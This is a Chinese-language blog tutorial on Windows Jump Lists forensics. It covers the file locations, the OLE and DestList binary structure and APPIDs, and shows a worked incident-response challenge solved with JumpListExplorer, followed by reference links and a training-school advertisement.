Computer Forensic Artifacts: Windows 7 Shellbags : https://www.sans.org/blog/computer-forensic-artifacts-windows-7-shellbags/
Explaining the Bags/BagMRU registry tree (trying) - Tielen Consultancy :https://www.jeroentielen.nl/explaining-the-bagsbagmru-registry-tree-trying/
Windows 取证之Jump Lists
一、概述
Jump Lists是Windows 7开始引入的新功能,该功能允许用户查看固定在任务栏中程序最近打开的文件,如图所示:
Jump Lists由应用软件或者系统创建,作用是方便用户可以直接跳转到最近打开的文件或文件夹。Jump List显示的列表数量是有限的,在Windows 7/8操作系统中,用户可以通过更改注册表来修改Jump List的条数,但在Windows 10中,这个数量被固定了,用户无法自行修改。
二、Jump List 文件存储和格式
Jump List文件是一种OLE文件,存储在C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations和C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination路径下。
Jump List有两种类型,一种是存放在AutomaticDestinations路径中的automaticDestinations-ms (autoDest)文件,另一个是CustomDestination中的customdestination-ms(custDest)文件。
autoDest(*.automaticDestinations-ms)文件是由系统shell在用户与操作系统交互时(如启动应用程序、访问文件等)自动创建的,这些文件遵循Microsoft Compound File Binary(CFB)复合文件格式结构,并且文件中的每个编号流都遵循 MS-SHLLINK(即LNK)二进制文件格式。
custDest(*.customDestinations-ms)文件是在用户操作固定项目时创建的,比如拖到某个文件或应用程序固定到任务栏中,或在列表中固定某个项目。custDest文件只是一系列相互附加的lnk格式流组成。比autoDest文件更为简单。
每个列表文件名都是以一串长度为16位的字符串命令,后面跟上.automaticDestinations-ms或者.customDestinations-m为后缀。
这16位长度的十六进制字符串是APPID(应用程序标识符),用于标识特定的程序或文件。根据微软官方说明,APPID可以分为应用程序自定义(Application-Defined)和操作系统定义(System-Defined)两种。应用程序可自定义一个固定的APPID。如果没有,操作系统根据应用程序的路径使用CRC-64算法计算出APPID。
关于APPID的计算可以参考:https://www.hexacorn.com/blog/2013/04/30/jumplists-file-names-and-appid-calculator/
一些常见应用程序的Jump List ID可以在互联网上找到:
https://gist.github.com/atilaromero/2146441https://community.malforensics.com/t/list-of-jump-list-ids/158/1在autoDest文件中,除了Destlist流之外,其他流都是由LNK流组成。Destlist流遵循特定的结构,分别记录了作为MRU和MFUlist的文件访问顺序及文件访问次数,并且包含时间戳。在Windows 7和Windows 8中,Destlist流结构是一致的,但Windows 10中有所不同。
这里我们以Windows 7系统举例,通过16进制编辑器查看其结构组成,打开一个autoDest文件,其结构如下:
D0 CF 11 E0 A1 B1 1A E1:OLECF文件标识符
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:类标识符 (GUID)
3E 00:文件版本(次版本)
03 00:文件版本(主版本)
FF FF:字节顺序标识符(FF FF为小端模式,FF FE为大端模式)
更多关于OLECF格式详情可以参考:https://github.com/libyal/libolecf/blob/main/documentation/OLE%20Compound%20File%20format.asciidoc#2-the-file-header
Destlist头结构:
01 00 00 00:版本号(在windows 7/8中是版本1,windows 10 1511中是版本3)
11 00 00 00:当前条目数
00 00 00 00:"固定"的条目数量
33 33 E3 41:计数器
11 00 00 00 00 00 00 00:上一次的条目数
11 00 00 00 00 00 00 00:添加/删除操作的数量-随着条目的添加和删除而增加。
custDest(*.customDestinations-ms)文件的结构就简单很多:
前面36 Bytes是文件头,然后是lnk文件部分,然后是下一条lnk文件部分,然后是文件结尾0xbabffbab:
三、Jump Lists 取证实战
来源:Cynet应急响应挑战赛
题目描述:GOT-Research Ltd的 财务部总监 Lord Varys 发现,有关高级员工工资的某些信息被泄露,并传到了该组织的其他员工手中。此财务信息保存在网络共享文件夹中。此网络文件夹的权限已授予给 Lord Petyr Baelish和其他 2 名前雇员:John Snow 和 Daenerys Targaryen。 John 和 Daenerys 现在都是 GOT 的外部顾问,不再是财务部门的一员。但他们对财务共享文件夹的权限尚未撤销,Petyr Baelish, John和 Daenerys这三个人平时关系并不好,Varys怀疑这是泄密的原因,他认为有人想要陷害Petyr B
现在GOT委托你作为调查人员查清John或Daenerys是否访问了财务数据,其中包括已泄露的 Management-Salaries.xlsx 文件。
最终需要提交嫌疑人的名字和在嫌疑人主机上找到的可疑财务文件文件名、以及时间戳。
我们拿到的调查文件是John和Daenerys电脑上的Jump Lists文件:
我们使用JumpListExplorer工具(下载地址:https://ericzimmerman.github.io/#!index.md)对文件进行解析和分析:
经过检查和分析,最终在John的电脑上发现了可疑痕迹,在2020-02-07 00:03:54用WinRAR打开了一个Finance-Summary.rar的文件。
分析Jump Lists类似的工具还有JLECmd.exe、Nirsoft JumpListsView等。
参考资料:
https://hal.inria.fr/hal-01988839/documenthttps://github.com/libyal/dtformats/blob/main/documentation/Jump%20lists%20format.asciidochttps://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt https://cyberforensicator.com/wp-content/uploads/2017/01/1-s2.0-S1742287616300202-ma
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9a4a-6bc7-4926-8ff5-6fa9c74fe756 (Autopsy Forensic Browser 是数字取证工具-The Sleuth Kit(TSK)的图形界面,用于对文件系统和卷进行取证。通过本实验学习文件系统取证的思想与方法,掌握Autopsy的使用。)
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

